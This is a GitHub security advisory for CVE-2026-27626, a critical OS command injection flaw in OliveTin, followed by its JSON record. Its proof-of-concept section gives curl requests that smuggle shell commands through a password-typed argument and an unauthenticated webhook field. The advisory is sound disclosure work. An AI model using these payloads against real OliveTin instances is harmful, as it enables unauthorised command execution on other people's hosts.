GHSA-49GM-HH7W-WFVF

Vulnerability from github – Published: 2026-02-25 16:18 – Updated: 2026-02-25 16:18
VLAI?
Summary
OliveTin: OS Command Injection via `password` argument type and webhook JSON extraction bypasses shell safety checks
Details

Summary

OliveTin's shell mode safety check (checkShellArgumentSafety) blocks several dangerous argument types but not password. A user supplying a password-typed argument can inject shell metacharacters that execute arbitrary OS commands. A second independent vector allows unauthenticated RCE via webhook-extracted JSON values that skip type safety checks entirely before reaching sh -c.

Details

Vector 1 — password type bypasses shell safety check (PR:L)

service/internal/executor/arguments.go has two gaps:

// Line 198-199 — TypeSafetyCheck returns nil (no error) for password type
case "password":
    return nil  // accepts ANY string including ; | ` $()

// Line 313 — checkShellArgumentSafety blocks dangerous types but not password
unsafe := map[string]bool{
    "url":                      true,
    "email":                    true,
    "raw_string_multiline":     true,
    "very_dangerous_raw_string": true,
    // "password" is absent — not blocked
}

Shell execution at service/internal/executor/executor_unix.go:18:

exec.CommandContext(ctx, "sh", "-c", finalParsedCommand)

A user supplies a password argument value of '; id; echo 'sh -c interprets the shell metacharacters → arbitrary command execution.

This is not the "admin already has access" pattern: OliveTin explicitly enforces an admin/user boundary where admins define commands and users only supply argument values. The password type is the documented, intended mechanism for user-supplied sensitive values. The safety check exists precisely to prevent users from escaping this boundary — password is the one type it fails to block.

Vector 2 — Webhook JSON extraction skips TypeSafetyCheck entirely (PR:N)

service/internal/executor/handler.go:153-157 extracts arbitrary key-value pairs from webhook JSON payloads and injects them into ExecutionRequest.Arguments. These webhook-extracted arguments have no corresponding config-defined ActionArgument entry, so parseActionArguments() in arguments.go finds no type to check against and skips TypeSafetyCheck entirely. The values are templated directly into the shell command and passed to sh -c.

Example: an admin command template git pull && echo {{ git_message }} with Shell mode enabled. A webhook POST with {"git_message": "x; id"} injects id into the shell command. The webhook endpoint is unauthenticated by default (authType: none in default config).

PoC

# Vector 1 — authenticated user with password-type argument
curl -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d '{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}'

# Vector 2 — unauthenticated webhook
curl -X POST http://localhost:1337/webhook/git-deploy \
  -H "Content-Type: application/json" \
  -d '{"git_message": "x; id #", "git_author": "attacker"}'

Confirmed on jamesread/olivetin:latest (3000.10.0), 3/3 runs. Both vectors produced uid=1000(olivetin) output and arbitrary file write to /tmp/pwned.

Impact

  • Vector 1: Any authenticated user (registration enabled by default, authType: none by default) can execute arbitrary OS commands on the OliveTin host with the permissions of the OliveTin process.
  • Vector 2: Unauthenticated attacker can achieve the same if the instance receives webhooks from external sources, which is a primary OliveTin use case.

Combined: unauthenticated RCE on any OliveTin instance using Shell mode with webhook-triggered actions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260214204110-d22bdebff7c7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T16:18:22Z",
    "nvd_published_at": "2026-02-25T03:16:06Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOliveTin\u0027s shell mode safety check (`checkShellArgumentSafety`) blocks several dangerous argument types but not `password`. A user supplying a `password`-typed argument can inject shell metacharacters that execute arbitrary OS commands. A second independent vector allows unauthenticated RCE via webhook-extracted JSON values that skip type safety checks entirely before reaching `sh -c`.\n\n### Details\n\n**Vector 1 \u2014 `password` type bypasses shell safety check (PR:L)**\n\n`service/internal/executor/arguments.go` has two gaps:\n\n```go\n// Line 198-199 \u2014 TypeSafetyCheck returns nil (no error) for password type\ncase \"password\":\n    return nil  // accepts ANY string including ; | ` $()\n\n// Line 313 \u2014 checkShellArgumentSafety blocks dangerous types but not password\nunsafe := map[string]bool{\n    \"url\":                      true,\n    \"email\":                    true,\n    \"raw_string_multiline\":     true,\n    \"very_dangerous_raw_string\": true,\n    // \"password\" is absent \u2014 not blocked\n}\n```\n\nShell execution at `service/internal/executor/executor_unix.go:18`:\n```go\nexec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n```\n\nA user supplies a `password` argument value of `\u0027; id; echo \u0027` \u2192 `sh -c` interprets the shell metacharacters \u2192 arbitrary command execution.\n\nThis is not the \"admin already has access\" pattern: OliveTin explicitly enforces an admin/user boundary where admins define commands and users only supply argument values. The `password` type is the documented, intended mechanism for user-supplied sensitive values. The safety check exists precisely to prevent users from escaping this boundary \u2014 `password` is the one type it fails to block.\n\n**Vector 2 \u2014 Webhook JSON extraction skips TypeSafetyCheck entirely (PR:N)**\n\n`service/internal/executor/handler.go:153-157` extracts arbitrary key-value pairs from webhook JSON payloads and injects them into `ExecutionRequest.Arguments`. These webhook-extracted arguments have no corresponding config-defined `ActionArgument` entry, so `parseActionArguments()` in `arguments.go` finds no type to check against and skips `TypeSafetyCheck` entirely. The values are templated directly into the shell command and passed to `sh -c`.\n\nExample: an admin command template `git pull \u0026\u0026 echo {{ git_message }}` with Shell mode enabled. A webhook POST with `{\"git_message\": \"x; id\"}` injects `id` into the shell command. The webhook endpoint is unauthenticated by default (`authType: none` in default config).\n\n### PoC\n\n```bash\n# Vector 1 \u2014 authenticated user with password-type argument\ncurl -X POST http://localhost:1337/api/StartAction \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"actionId\": \"run-command\", \"arguments\": [{\"name\": \"pass\", \"value\": \"\u0027; id; echo \u0027\"}]}\u0027\n\n# Vector 2 \u2014 unauthenticated webhook\ncurl -X POST http://localhost:1337/webhook/git-deploy \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"git_message\": \"x; id #\", \"git_author\": \"attacker\"}\u0027\n```\n\nConfirmed on `jamesread/olivetin:latest` (3000.10.0), 3/3 runs. Both vectors produced `uid=1000(olivetin)` output and arbitrary file write to `/tmp/pwned`.\n\n### Impact\n\n- **Vector 1**: Any authenticated user (registration enabled by default, `authType: none` by default) can execute arbitrary OS commands on the OliveTin host with the permissions of the OliveTin process.\n- **Vector 2**: Unauthenticated attacker can achieve the same if the instance receives webhooks from external sources, which is a primary OliveTin use case.\n\nCombined: unauthenticated RCE on any OliveTin instance using Shell mode with webhook-triggered actions.",
  "id": "GHSA-49gm-hh7w-wfvf",
  "modified": "2026-02-25T16:18:22Z",
  "published": "2026-02-25T16:18:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-49gm-hh7w-wfvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: OS Command Injection via `password` argument type and webhook JSON extraction bypasses shell safety checks"
}


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